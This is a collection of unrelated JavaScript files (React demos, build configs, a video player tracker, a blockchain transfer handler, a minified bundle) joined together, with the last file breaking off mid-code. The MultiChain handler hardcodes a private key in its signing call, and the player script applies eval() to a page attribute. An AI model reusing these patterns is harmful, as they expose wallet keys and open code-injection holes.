multichain1.createRawSendFrom({from:"15UcyARFwi541b4UTpuqVgPSgdyFxTmtGBFkRA",amounts:{[toAddress]:{Rupee:100}}},(err,createresp)=>{
if(createresp == undefined) {
console.log(err)
res.status(200).json({
success:false,
status:"OK",
message:'In efficient Funds in your wallet',
err:err
})
}
else {
multichain1.signRawTransaction({hexstring:createresp,parents:[],privatekeys:["VAjsdf22ER1WpLbzEmFn5dXCXhc9UYKFF8u1SnA4X4QSEXyM2NiHLT6c"]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
success:false,
status:"OK",
message:'Entered wrong private key',
err:err
})
}
else {
console.log(signresp)
multichain1.sendRawTransaction({hexstring:signresp.hex},(err,sendresp)=>{
res.status(200).json({
success:true,
status:"OK",
message:'Successfully sent asset',
transactionid:sendresp
})
})
}
})
}
})
}
|
import React from 'react';
import { Mask, View, Container, Row, Col } from 'mdbreact';
class HoverPage extends React.Component {
render () {
return (
<Container>
<h2 className="py-4">Basic expamples</h2>
<Row>
<Col md="4">
<View overlay="red-strong">
<img src="https://mdbootstrap.com/img/Photos/Others/nature-sm.jpg" className="img-fluid" alt="" />
<Mask className="flex-center">
<p className="white-text">Strong overlay</p>
</Mask>
</View>
</Col>
<Col md="4">
<View overlay="red-light">
<img src="https://mdbootstrap.com/img/Photos/Others/nature-sm.jpg" className="img-fluid" alt="" />
<Mask className="flex-center">
<p className="white-text">Light overlay</p>
</Mask>
</View>
</Col>
<Col md="4">
<View overlay="red-slight">
<img src="https://mdbootstrap.com/img/Photos/Others/nature-sm.jpg" className="img-fluid" alt="" />
<Mask className="flex-center">
<p className="white-text">Super light overlay</p>
</Mask>
</View>
</Col>
</Row>
<Row className="mt-4">
<Col md="6">
<View zoom>
<img src="https://mdbootstrap.com/img/Photos/Others/nature-sm.jpg" className="img-fluid" alt="" />
<Mask className="flex-center">
<p className="white-text">Zoom effect</p>
</Mask>
</View>
</Col>
<Col md="6">
<h5 className="text-center">Shadow effect</h5>
<img src="https://mdbootstrap.com/img/Photos/Others/nature-sm.jpg" className="img-fluid rounded-circle hoverable" alt="" />
</Col>
</Row>
</Container>
);
}
}
export default HoverPage;
|
import React, { Component } from "react";
import './list.less'
export default class List extends Component {
constructor(props) {
super(props);
this.state = {
count: 1
};
}
onClick = () => {
this.setState({
count: ++this.state.count
})
}
render() {
return <div className='pagelist'>
<p>页面A</p>
<p>页面B</p>
<p>页面C</p>
<div >
<span className='count'>{this.state.count}</span>
<button onClick={this.onClick}>点击加11</button>
</div>
</div>;
}
}
|
module.exports = [
{
entry: {
theme: './js/main',
},
output: {
filename: './js/[name].js',
},
module: {
rules: [
{ test: /\.html$/, use: 'vue-html-loader' },
{ test: /\.vue$/, use: 'vue-loader' },
],
},
},
];
|
/* jshint node: true */
module.exports = function(environment) {
var ENV = {
modulePrefix: 'module-whitelist',
environment: environment,
baseURL: '/',
locationType: 'auto',
EmberENV: {
FEATURES: {
// Here you can enable experimental features on an ember canary build
// e.g. 'with-controller': true
}
},
APP: {
// Here you can pass flags/options to your application instance
// when it is created
},
fastboot: {
hostWhitelist: ['example.com', 'subdomain.example.com', /localhost:\d+/]
}
};
if (environment === 'development') {
// ENV.APP.LOG_RESOLVER = true;
// ENV.APP.LOG_ACTIVE_GENERATION = true;
// ENV.APP.LOG_TRANSITIONS = true;
// ENV.APP.LOG_TRANSITIONS_INTERNAL = true;
// ENV.APP.LOG_VIEW_LOOKUPS = true;
}
if (environment === 'test') {
// Testem prefers this...
ENV.baseURL = '/';
ENV.locationType = 'none';
// keep test console output quieter
ENV.APP.LOG_ACTIVE_GENERATION = false;
ENV.APP.LOG_VIEW_LOOKUPS = false;
ENV.APP.rootElement = '#ember-testing';
}
if (environment === 'production') {
}
return ENV;
};
|
(function () {
var Util = {Timer: function (delay, fn) {
var isLive = false, currTimerId, startTime, stopTime;
function getCurrTime() {
return new Date().getTime()
}
return{delay: function () {
return delay
}, isRunning: function () {
return isLive
}, start: function () {
var self = this;
isLive = true;
if (currTimerId) {
clearTimeout(currTimerId)
}
currTimerId = setTimeout(function () {
if (fn) {
fn()
}
self.start()
}, delay);
return this
}, stop: function () {
clearTimeout(currTimerId);
isLive = false;
return this
}, setDelay: function (_delay) {
delay = _delay
}, reset: function () {
currTimerId || this.start();
return this
}, startTiming: function () {
startTime = getCurrTime();
return this
}, stopTiming: function () {
stopTime = getCurrTime();
return this
}, getTimeM: function () {
return stopTime - startTime
}, getTimeS: function () {
return Math.round((stopTime - startTime) / 1000)
}, setCurrTimerId: function (timerId) {
currTimerId = timerId
}}
}, extend: function () {
var target = arguments[0], overrideAttr = true, i = 1, length = arguments.length, copy, options, name;
if (typeof target === "boolean") {
overrideAttr = target;
target = arguments[1] || {};
i = 2
}
if (length == i) {
return target || {}
}
for (; i < length; i++) {
options = arguments[i];
for (name in options) {
if (overrideAttr && (target[name] !== undefined)) {
continue
}
target[name] = options[name]
}
}
return target
}, send: function (url) {
var img = new Image(1, 1);
img.onload = img.onerror = img.onabort = function () {
img.onload = img.onerror = img.onabort = null;
img = null
};
img.src = url
}, addParams: function (params) {
var arr = [];
for (var i in params) {
arr.push(i + "=" + params[i])
}
return arr.join("&")
}, getCookie: function (name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) {
return unescape(arr[2])
}
return""
}, addCookie: function (e, t, i) {
i = i || {};
if (t === null) {
t = "";
i.expires = -1
}
var a = "";
if (i.expires && (typeof i.expires == "number" || i.expires.toUTCString)) {
var s;
if (typeof i.expires == "number") {
s = new Date;
s.setTime(s.getTime() + i.expires * 24 * 60 * 60 * 1000)
} else {
s = i.expires
}
a = "; expires=" + s.toUTCString()
}
var n = i.path ? "; path=" + i.path : "";
var o = i.domain ? "; domain=" + i.domain : "";
var r = i.secure ? "; secure" : "";
document.cookie = [e, "=", encodeURIComponent(t), a, n, o, r].join("")
}, getBroswerUrl: function () {
return encodeURIComponent(window.location.href)
}, getUUID: function () {
if (this.uuid != undefined) {
return this.uuid
}
var uuid = "1" + String(new Date().getTime()).slice(4) + String(Math.random()).slice(-6);
return this.uuid = uuid
}, getLC: function () {
var lc = Util.getCookie("tj_lc");
if (lc == "") {
var lc = "", i = 32;
while (i--) {
lc += Math.floor(Math.random() * 16).toString(16)
}
var t = new Date();
t.setFullYear(t.getFullYear() + 20);
Util.addCookie("tj_lc", lc, {expires: t, domain: ".letv.com", path: "/"})
}
return lc
}, paramstr: function (d) {
var arr = [];
for (var p in d) {
var item = p + "=" + d[p];
arr.push(item)
}
var str = arr.join("&");
return str
}, checkParam: function (w) {
if (w == undefined) {
return""
}
var res = w;
var wlen = w.length;
var oneEmem = w.substr(wlen - 1, 1);
var twoEmem = w.substr(wlen - 2, 2);
if (oneEmem == "%") {
res = 0
} else {
if (twoEmem == "px") {
res = w.substr(0, wlen - 2)
}
}
return res
}};
function initGlobalObj() {
Query = GUELib.Query;
Query.initQuery()
}
function isPcPlatform(ReviveSWF, GUELib, option) {
var isPcPlatform = false, platformType = ReviveSWF, videoAble = !!document.createElement("video").canPlayType;
if (!!option.type) {
if (option.type == "video") {
isPcPlatform = !1
} else {
if (option.type == "flash") {
isPcPlatform = !0
}
}
} else {
if (platformType.flashPlat.win) {
isPcPlatform = navigator.userAgent.indexOf("WebView") > -1 || navigator.userAgent.indexOf("WPDesktop") > -1 ? false : true
} else {
if (platformType.flashPlat.mac) {
isPcPlatform = true
} else {
if (GUELib.Support.linux) {
if (platformType.swfPlayEnable(10)) {
isPcPlatform = true
} else {
if (videoAble) {
isPcPlatform = false
}
}
} else {
isPcPlatform = false
}
}
}
}
if (Query.get("dbd") == "LETV") {
isPcPlatform = false
}
if (window.letvcloud_player_conf && letvcloud_player_conf["dbd"] == "LETV") {
isPcPlatform = false
}
return isPcPlatform
}
function getHtmlConf() {
document.title = Query.get("title") || "乐视云";
var option = {w: Query.get("width") || 750, h: Query.get("height") || 422, vu: Query.get("vu"), uu: Query.get("uu"), pu: Query.get("pu"), parentId: "player", autoplay: Query.get("auto_play"), version: 10, swf: null, flashvars: Query.getall("string")};
if (Query.get("payer_name")) {
option.payer_name = Query.get("payer_name")
}
if (Query.get("check_code")) {
option.check_code = Query.get("check_code")
}
if (option.w == "100%") {
option.w = 0
}
if (option.h == "100%") {
option.h = 0
}
return option
}
function getJsConf() {
var scripts = window.document.getElementsByTagName("script"), dScript = scripts[scripts.length - 1], depend = dScript.getAttribute("depend"), data = dScript.getAttribute("data"), option = null;
if (data) {
data = eval("(" + data + ")");
option = {w: Util.checkParam(data.width), h: Util.checkParam(data.height), vu: data.vu, uu: data.uu, autoplay: data.auto_play, version: 10, swf: null, flashvars: Util.paramstr(data), parentId: "playerbox" + ("" + Math.random()).split(".")[1]};
if (data.payer_name != undefined) {
option.payer_name = data.payer_name
}
if (data.check_code != undefined) {
option.check_code = data.check_code
}
if (data.callback != undefined) {
option.callback = data.callback
}
if (data.type != undefined) {
option.type = data.type
}
}
return option
}
function getConf() {
var conf = null;
if (window.domainname == undefined) {
option = getHtmlConf()
} else {
option = getJsConf()
}
option.cf = (GUELib.Support.ipad || GUELib.Support.ipod || GUELib.Support.iphone) ? "html5_ios" : "html5";
option.url = "http://api.letvcloud.com/gpc.php?cf=" + option.cf + "&sign=signxxxxx&ver=2.1&format=jsonp&pver=html5_1.1.1&bver=" + encodeURIComponent(getBrowserVersion()) + "&uuid=" + Util.getUUID();
var customPlayer = "http://yuntv.letv.com/bcloud.swf";
if (typeof _user_defined != "undefined") {
_user_defined[option.uu] && (customPlayer = _user_defined[option.uu][option.pu || "default"])
}
option.swf = customPlayer;
return option
}
function play() {
var option = getConf();
if (option && !option.vu) {
return alert("视频不存在")
}
var w = option.w ? option.w + "px" : "100%", h = option.h ? option.h + "px" : "100%";
document.write('<div id="' + option.parentId + '" style="width:' + w + ";height:" + h + ';margin-right:auto;margin-left:auto;"></div>');
if (window.ReviveSWF == undefined) {
ReviveSWF = null
}
var checkTest = isPcPlatform(ReviveSWF, GUELib, option);
if (checkTest) {
ReviveSWF.echo(option.parentId, option)
} else {
initHTML5Player(GUELib, option)
}
}
function initHTML5Player(GUELib, option) {
var reportor = new Reportor();
reportor.init();
reportor.sendEnvInfo({});
reportor.startTiming();
var addParam = {vu: option.vu, uu: option.uu};
if (typeof option.payer_name != "undefined" && typeof option.check_code != "undefined") {
addParam = {vu: option.vu, uu: option.uu, payer_name: option.payer_name, check_code: option.check_code}
}
GUELib.GetJSON(option.url, addParam, function (reqData) {
reportor.stopTiming();
var ut = reportor.timer.getTimeM();
if (reqData.code) {
reportor.sendPlayAction({ac: "init", pt: 0, err: 1, ut: ut});
if (option.callback) {
window[option.callback](null)
}
GUELib.Video.setup(option.parentId, [], option.w, option.h);
return alert("不合法请求!")
}
reportor.initVideoInfo(reqData, option);
reportor.sendPlayAction({ac: "init", pt: 0, err: 0, ut: ut});
setupPlayer(reportor, option, reqData)
})
}
function setupPlayer(reportor, option, reqData) {
var videoData = reqData.data.video_info;
var mediaInfo = videoData.default_play;
var videoPlayer = GUELib.Video.setup(option.parentId, [], option.w, option.h, {"event": {"playing": function () {
reportor.turnOnPlayingStatus();
reportor.startTiming();
if (reportor.firstPlay) {
reportor.turnOffFirstPlaystatus();
reportor.sendPlayAction({ac: "play", pt: 0, err: 0, ut: 1})
}
if (reportor.isEndedBefore) {
reportor.emptyChunkQueue();
reportor.stopTimer();
reportor.startTimer();
reportor.turnOffEndStatus()
}
}, "waiting": function () {
reportor.setTimeChunkPaused()
}, "seeking": function () {
reportor.setTimeChunkPaused()
}, "pause": function () {
reportor.setTimeChunkPaused()
}, "ended": function () {
reportor.sendEndAction()
}, "abort": function () {
reportor.sendEndAction()
}}});
reportor.video = videoPlayer.video;
var crtMain_url = videoData.media[mediaInfo].play_url.main_url;
if (option.callback) {
videoPlayer.source(BaseCode.decode(crtMain_url));
reportor.sendPlay();
window[option.callback](videoPlayer.video)
} else {
videoPlayer.getSource(videoData);
var crtPoster = reqData.data.play_info.init_pic;
if (crtPoster != "" || crtPoster != null) {
videoPlayer.poster(crtPoster);
videoPlayer.source(BaseCode.decode(crtMain_url))
} else {
if (option.autoplay != "0") {
videoPlayer.video.autoplay = "autoplay";
videoPlayer.play()
} else {
videoPlayer.video.autoplay = ""
}
}
}
}
function Reportor() {
var uuid = Util.getUUID(), lc = Util.getLC(), config = {envUrl: "http://dc.letv.com/env/?", playUrl: "http://dc.letv.com/pl/?"};
return{timer: null, timeChunkQueue: [], playStartTime: 0, actStartTime: 0, firstPlay: true, videoInfo: {vid: "", vlen: 0, ch: "", ap: 1}, video: null, isPlayingBefore: false, isEndedBefore: true, turnOnPlayingStatus: function () {
this.isPlayingBefore = true
}, turnOffPlayingStatus: function () {
this.isPlayingBefore = false
}, turnOffFirstPlaystatus: function () {
this.firstPlay = false
}, turnOnEndStatus: function () {
this.isEndedBefore = true
}, turnOffEndStatus: function () {
this.isEndedBefore = false
}, emptyChunkQueue: function () {
this.timeChunkQueue = []
}, init: function () {
var self = this;
this.timer = new Util.Timer(180000, function () {
self.sendTimeAction()
})
}, startTimer: function () {
var self = this;
var timerId = setTimeout(function () {
self.sendTimeAction();
var vlen = self.getVideoLenM();
if (vlen < 3) {
self.timer.setDelay(30000)
} else {
if (vlen < 10) {
self.timer.setDelay(60000)
} else {
self.timer.setDelay(180000)
}
}
self.timer.start()
}, 15000);
this.timer.setCurrTimerId(timerId)
}, stopTimer: function () {
if (this.timer != null) {
this.timer.stop()
}
}, startTiming: function () {
this.timer.startTiming()
}, stopTiming: function () {
this.timer.stopTiming()
}, setTimeChunkPaused: function () {
this.setTimeChunk();
this.turnOffPlayingStatus()
}, setTimeChunk: function () {
if (this.video && !this.video.paused) {
this.isPlayingBefore = true
}
if (this.isPlayingBefore) {
var time = this.timer.stopTiming().getTimeM();
this.timeChunkQueue.push(time)
}
this.startTiming()
}, initVideoInfo: function (reqData, option) {
var ac = option.ac;
if (ac == 0) {
ac = 0
} else {
ac = 1
}
var videoList = reqData["data"]["video_info"];
var vid = videoList["video_id"];
var vlen = videoList["video_duration"];
var ch = "bcloud_" + videoList["user_id"];
var ap = 1;
this.videoInfo = {vid: vid, vlen: vlen, ch: ch, ap: ap}
}, getVideoLenM: function () {
return Math.round(this.videoInfo.vlen / 60)
}, getPlayTimeAHeartBeat: function () {
this.setTimeChunk();
var chunkQ = this.timeChunkQueue, l = chunkQ.length, time = 0;
for (var i = 0; i < l; i++) {
time += chunkQ[i]
}
this.emptyChunkQueue();
return Math.round(time / 1000)
}, sendPlay: function () {
this.sendPlayAction({ac: "play", pt: 0, err: 0, ut: 1})
}, sendPlayAction: function (option) {
var videoInfo = this.videoInfo;
var params = Util.extend({ver: "2.0", p1: 3, p2: 31, p3: "-", uid: "-", auid: "-", cid: 100, pid: "-", pv: "1.1", py: "-", url: Util.getBroswerUrl(), vid: videoInfo["vid"], vlen: videoInfo["vlen"], ch: videoInfo["ch"], ap: videoInfo["ap"], uuid: uuid, lc: lc}, option);
Util.send(config.playUrl + Util.addParams(params));
return this
}, sendEnvInfo: function (obj) {
var params = Util.extend({p1: 3, p2: 31, p3: "-", ip: "-", mac: "-", nt: "-", app: "1.1", lc: lc, uuid: uuid}, obj);
Util.send(config.envUrl + Util.addParams(params))
}, sendEndAction: function () {
this.stopTimer();
this.sendTimeAction();
this.sendPlayAction({ac: "end", pt: 0, err: 0, ut: 0});
this.turnOnEndStatus()
}, sendTimeAction: function () {
this.sendPlayAction({ac: "time", pt: this.getPlayTimeAHeartBeat(), err: 0, ut: 0})
}}
}
function getBrowserVersion() {
var browser = {};
var userAgent = navigator.userAgent.toLowerCase();
var s;
(s = userAgent.match(/msie ([\d.]+)/)) ? browser.msie = s[1] : (s = userAgent.match(/firefox\/([\d.]+)/)) ? browser.firefox = s[1] : (s = userAgent.match(/360browser/)) ? browser.b360 = (s[1] ? s[1] : "-") : (s = userAgent.match(/qqbrowser\/([\d.]+)/)) ? browser.bqq = s[1] : (s = userAgent.match(/ucbrowser\/([\d.]+)/)) ? browser.buc = s[1] : (s = userAgent.match(/baidubrowser\/([\d.]+)/)) ? browser.bbaidu = s[1] : (s = userAgent.match(/sogoumobilebrowser\/([\d.]+)/)) ? browser.bsgm = s[1] : (s = userAgent.match(/liebaofast\/([\d.]+)/)) ? browser.blbfast = s[1] : (s = userAgent.match(/mb2345browser\/([\d.]+)/)) ? browser.b2345 = s[1] : (s = userAgent.match(/4g explorer\/([\d.]+)/)) ? browser.b4g = s[1] : (s = userAgent.match(/huohoubrowser\/([\d.]+)/)) ? browser.bhuohou = s[1] : (s = userAgent.match(/maxthon[\/ ]([\d.]+)/)) ? browser.maxthon = s[1] : (s = userAgent.match(/(opera)|(opr)\/([\d.]+)/)) ? browser.opera = s[3] : (s = userAgent.match(/chrome\/([\d.]+)/)) ? browser.chrome = s[1] : (s = userAgent.match(/version\/([\d.]+).*safari/)) ? browser.safari = s[1] : browser.other = "-";
var version = "";
for (var i in browser) {
version = i + browser[i]
}
return version
}
initGlobalObj();
play()
})();
|
import { GET } from '../../api/util/methods';
export default {
onInit() {
this.loadInfo();
this.loadPayments();
},
async loadInfo() {
try {
let data = await GET('easywire/info');
this.store.set('$page.info', data);
} catch (err) {
console.error(err);
}
},
async loadPayments() {
try {
let data = await GET('easywire/payments');
this.store.set('$page.payments', data);
} catch (err) {
console.error(err);
}
},
};
|
(function () {
if (!(cc && cc.EditBoxComponent)) {
return;
}
const EditBoxComp = cc.EditBoxComponent;
const js = cc.js;
const KeyboardReturnType = EditBoxComp.KeyboardReturnType;
const MAX_VALUE = 65535;
const KEYBOARD_HIDE_TIME = 600;
let _hideKeyboardTimeout = null;
let _currentEditBoxImpl = null;
function getKeyboardReturnType (type) {
switch (type) {
case KeyboardReturnType.DEFAULT:
case KeyboardReturnType.DONE:
return 'done';
case KeyboardReturnType.SEND:
return 'send';
case KeyboardReturnType.SEARCH:
return 'search';
case KeyboardReturnType.GO:
return 'go';
case KeyboardReturnType.NEXT:
return 'next';
}
return 'done';
}
function MiniGameEditBoxImpl () {
this._delegate = null;
this._editing = false;
this._eventListeners = {
onKeyboardInput: null,
onKeyboardConfirm: null,
onKeyboardComplete: null,
};
}
js.extend(MiniGameEditBoxImpl, EditBoxComp._EditBoxImpl);
EditBoxComp._EditBoxImpl = MiniGameEditBoxImpl;
Object.assign(MiniGameEditBoxImpl.prototype, {
init (delegate) {
if (!delegate) {
cc.error('EditBox init failed');
return;
}
this._delegate = delegate;
},
beginEditing () {
// In case multiply register events
if (this._editing) {
return;
}
this._ensureKeyboardHide(() => {
let delegate = this._delegate;
this._showKeyboard();
this._registerKeyboardEvent();
this._editing = true;
_currentEditBoxImpl = this;
delegate._editBoxEditingDidBegan();
});
},
endEditing () {
this._hideKeyboard();
let cbs = this._eventListeners;
cbs.onKeyboardComplete && cbs.onKeyboardComplete();
},
_registerKeyboardEvent () {
let self = this;
let delegate = this._delegate;
let cbs = this._eventListeners;
cbs.onKeyboardInput = function (res) {
if (delegate._string !== res.value) {
delegate._editBoxTextChanged(res.value);
}
}
cbs.onKeyboardConfirm = function (res) {
delegate._editBoxEditingReturn();
let cbs = self._eventListeners;
cbs.onKeyboardComplete && cbs.onKeyboardComplete();
}
cbs.onKeyboardComplete = function () {
self._editing = false;
_currentEditBoxImpl = null;
self._unregisterKeyboardEvent();
delegate._editBoxEditingDidEnded();
}
jsb.onKeyboardInput(cbs.onKeyboardInput);
jsb.onKeyboardConfirm(cbs.onKeyboardConfirm);
jsb.onKeyboardComplete(cbs.onKeyboardComplete);
},
_unregisterKeyboardEvent () {
let cbs = this._eventListeners;
if (cbs.onKeyboardInput) {
jsb.offKeyboardInput(cbs.onKeyboardInput);
cbs.onKeyboardInput = null;
}
if (cbs.onKeyboardConfirm) {
jsb.offKeyboardConfirm(cbs.onKeyboardConfirm);
cbs.onKeyboardConfirm = null;
}
if (cbs.onKeyboardComplete) {
jsb.offKeyboardComplete(cbs.onKeyboardComplete);
cbs.onKeyboardComplete = null;
}
},
_otherEditing () {
return !!_currentEditBoxImpl && _currentEditBoxImpl !== this && _currentEditBoxImpl._editing;
},
_ensureKeyboardHide (cb) {
let otherEditing = this._otherEditing();
if (!otherEditing && !_hideKeyboardTimeout) {
return cb();
}
if (_hideKeyboardTimeout) {
clearTimeout(_hideKeyboardTimeout);
}
if (otherEditing) {
_currentEditBoxImpl.endEditing();
}
_hideKeyboardTimeout = setTimeout(() => {
_hideKeyboardTimeout = null;
cb();
}, KEYBOARD_HIDE_TIME);
},
_showKeyboard () {
let delegate = this._delegate;
let multiline = (delegate.inputMode === EditBoxComp.InputMode.ANY);
jsb.showKeyboard({
defaultValue: delegate.string,
maxLength: delegate.maxLength < 0 ? MAX_VALUE : delegate.maxLength,
multiple: multiline,
confirmHold: false,
confirmType: getKeyboardReturnType(delegate.returnType),
success (res) {
},
fail (res) {
cc.warn(res.errMsg);
}
});
},
_hideKeyboard () {
jsb.hideKeyboard({
success (res) {
},
fail (res) {
cc.warn(res.errMsg);
},
});
},
});
})();
|
import * as notesTree from './notesTree';
import * as notes from './notes';
export {
notesTree,
notes,
}
|
// @flow
import uniqBy from 'lodash/uniqBy';
import escapeRegExp from 'lodash/escapeRegExp';
import parseCSV from '../../utils/parseCSV';
import type { Option } from './flowTypes';
// Custom input parser for the PillSelectorDropdownField that automatically maps
// a list of comma separated values to their respective Option objects. The parser
// will try to find exact but case-insenstive matches using the option's displayText
// property. If a token does not match displayText, the parser will also try to match
// the string representation of the value property. This last match is useful for country
// codes and other similar use cases.
function defaultInputParser(inputValue: string, options: Array<Option>, selectedOptions: Array<Option>): Array<Option> {
let mappedOptions;
const inputTokens = parseCSV(inputValue);
mappedOptions = inputTokens.map(
(inputToken: string): Option => {
const trimmedInputToken = inputToken.replace(/\s/g, '');
const escapedInputToken = escapeRegExp(trimmedInputToken);
const regex = new RegExp(`^${escapedInputToken}$`, 'i');
const existingOption = options.find(
({ displayText, value }: Option) =>
// Match name without whitespace or commas
regex.test(displayText.replace(/\s|,/g, '')) || regex.test(String(value)),
);
const mappedOption = existingOption || {
displayText: inputToken,
value: inputToken,
};
return mappedOption;
},
);
// Remove duplicate values
mappedOptions = uniqBy(mappedOptions, mappedOption => mappedOption.value);
// Remove previously selected values
mappedOptions = mappedOptions.filter(
mappedOption => !selectedOptions.some(selectedOption => mappedOption.value === selectedOption.value),
);
return mappedOptions;
}
export default defaultInputParser;
|
/**
* @license Apache-2.0
*
* Copyright (c) 2021 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
'use strict';
// MODULES //
var tape = require( 'tape' );
var headerDir = require( './../lib/browser.js' );
// TESTS //
tape( 'main export is a null', function test( t ) {
t.ok( true, __filename );
t.strictEqual( headerDir, null, 'main export is null' );
t.end();
});
|
const { Action } = require('../interfaces/index')
class Copy extends Action {
constructor() {
super()
this.name = 'Copy'
this.desc = 'Copy'
this.shortcuts = ['Ctrl + LeftMousedown']
}
exec(aqua, event, state) {
console.error('Copy', event)
}
}
module.exports = Copy
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[2],[function(e,t,n){e.exports=n(93)()},function(e,t,n){"use strict";e.exports=n(86)},function(e,t,n){"use strict";var r=n(45),o=n(31),i=n(0),a=n(1),l=n(39),u=n(24),s=(n(42),n(4));var c=function(e){var t,n;function r(){return e.apply(this,arguments)||this}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var o=r.prototype;return o.getChildContext=function(){return{isInAParentText:!0}},o.render=function(){var e=this.props,t=e.dir,n=e.numberOfLines,r=e.onPress,o=e.selectable,i=e.style,a=(e.adjustsFontSizeToFit,e.allowFontScaling,e.ellipsizeMode,e.lineBreakMode,e.maxFontSizeMultiplier,e.minimumFontScale,e.onLayout,e.onLongPress,e.pressRetentionOffset,e.selectionColor,e.suppressHighlighting,e.textBreakStrategy,e.tvParallaxProperties,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["dir","numberOfLines","onPress","selectable","style","adjustsFontSizeToFit","allowFontScaling","ellipsizeMode","lineBreakMode","maxFontSizeMultiplier","minimumFontScale","onLayout","onLongPress","pressRetentionOffset","selectionColor","suppressHighlighting","textBreakStrategy","tvParallaxProperties"])),u=this.context.isInAParentText;r&&(a.accessible=!0,a.onClick=this._createPressHandler(r),a.onKeyDown=this._createEnterHandler(r)),a.classList=[this.props.className,f.text,!0===this.context.isInAParentText&&f.textHasAncestor,1===n&&f.textOneLine,n>1&&f.textMultiLine],a.dir=void 0!==t?t:"auto",a.style=[i,n>1&&{WebkitLineClamp:n},!1===o&&d.notSelectable,r&&d.pressable];var s=u?"span":"div";return Object(l.a)(s,a)},o._createEnterHandler=function(e){return function(t){13===t.keyCode&&e&&e(t)}},o._createPressHandler=function(e){return function(t){t.stopPropagation(),e&&e(t)}},r}(a.Component);c.displayName="Text",c.childContextTypes={isInAParentText:i.bool},c.contextTypes={isInAParentText:i.bool},c.propTypes={};var f=u.a.create({text:{border:"0 solid black",boxSizing:"border-box",color:"black",display:"inline",font:"14px System",margin:0,padding:0,whiteSpace:"pre-wrap",wordWrap:"break-word"},textHasAncestor:{color:"inherit",font:"inherit",whiteSpace:"inherit"},textOneLine:{maxWidth:"100%",overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"},textMultiLine:{display:"-webkit-box",maxWidth:"100%",overflow:"hidden",textOverflow:"ellipsis",WebkitBoxOrient:"vertical"}}),d=s.a.create({notSelectable:{userSelect:"none"},pressable:{cursor:"pointer"}});t.a=Object(r.a)(Object(o.a)(c))},function(e,t,n){"use strict";var r=n(45),o=n(31),i=n(0),a=n(39),l=n(24),u={accessibilityComponentType:!0,accessibilityLabel:!0,accessibilityLiveRegion:!0,accessibilityRole:!0,accessibilityStates:!0,accessibilityTraits:!0,accessible:!0,children:!0,disabled:!0,importantForAccessibility:!0,nativeID:!0,onBlur:!0,onContextMenu:!0,onFocus:!0,onMoveShouldSetResponder:!0,onMoveShouldSetResponderCapture:!0,onResponderEnd:!0,onResponderGrant:!0,onResponderMove:!0,onResponderReject:!0,onResponderRelease:!0,onResponderStart:!0,onResponderTerminate:!0,onResponderTerminationRequest:!0,onScrollShouldSetResponder:!0,onScrollShouldSetResponderCapture:!0,onSelectionChangeShouldSetResponder:!0,onSelectionChangeShouldSetResponderCapture:!0,onStartShouldSetResponder:!0,onStartShouldSetResponderCapture:!0,onTouchCancel:!0,onTouchCancelCapture:!0,onTouchEnd:!0,onTouchEndCapture:!0,onTouchMove:!0,onTouchMoveCapture:!0,onTouchStart:!0,onTouchStartCapture:!0,pointerEvents:!0,style:!0,testID:!0,onScroll:!0,onWheel:!0,onKeyDown:!0,onKeyPress:!0,onKeyUp:!0,onMouseDown:!0,onMouseEnter:!0,onMouseLeave:!0,onMouseMove:!0,onMouseOver:!0,onMouseOut:!0,onMouseUp:!0,className:!0,href:!0,itemID:!0,itemRef:!0,itemProp:!0,itemScope:!0,itemType:!0,onClick:!0,onClickCapture:!0,rel:!0,target:!0},s=function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(u[n]||0===n.indexOf("aria-")||0===n.indexOf("data-"))&&(t[n]=e[n]);return t},c=(n(5),n(42),n(4)),f=n(1),d=n.n(f);var p=function(e){var t,n;function r(){return e.apply(this,arguments)||this}return n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n,r.prototype.render=function(){var e=this.props.hitSlop,t=s(this.props);var n=this.context.isInAParentText;if(t.classList=[this.props.className,h.view],t.style=c.a.compose(n&&m.inline,this.props.style),e){var r=function(e){var t={};for(var n in e)if(e.hasOwnProperty(n)){var r=e[n];t[n]=r>0?-1*r:0}return t}(e),o=Object(a.a)("span",{classList:[h.hitSlop],style:r});t.children=d.a.Children.toArray([o,t.children])}return Object(a.a)("div",t)},r}(f.Component);p.displayName="View",p.contextTypes={isInAParentText:i.bool},p.propTypes={};var h=l.a.create({view:{alignItems:"stretch",border:"0 solid black",boxSizing:"border-box",display:"flex",flexBasis:"auto",flexDirection:"column",flexShrink:0,margin:0,minHeight:0,minWidth:0,padding:0,position:"relative",zIndex:0},hitSlop:{position:"absolute",top:0,left:0,right:0,bottom:0,zIndex:-1}}),m=c.a.create({inline:{display:"inline-flex"}});t.a=Object(r.a)(Object(o.a)(p))},function(e,t,n){"use strict";var r=n(7),o=n(34),i=n(35),a={position:"absolute",left:0,right:0,top:0,bottom:0},l={absoluteFill:o.a.register(a),absoluteFillObject:a,compose:function(e,t){return e&&t?[e,t]:e||t},create:function(e){var t={};return Object.keys(e).forEach((function(n){var r=e[n]&&o.a.register(e[n]);t[n]=r})),t},flatten:i.a,hairlineWidth:1};r.canUseDOM&&window.__REACT_DEVTOOLS_GLOBAL_HOOK__&&(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.resolveRNStyle=l.flatten);t.a=l},function(e,t,n){"use strict";var r=function(e){if(void 0===e)throw new Error("invariant(...): Second argument must be a string.")};e.exports=function(e,t){for(var n=arguments.length,o=new Array(n>2?n-2:0),i=2;i<n;i++)o[i-2]=arguments[i];if(r(t),!e){var a;if(void 0===t)a=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var l=0;(a=new 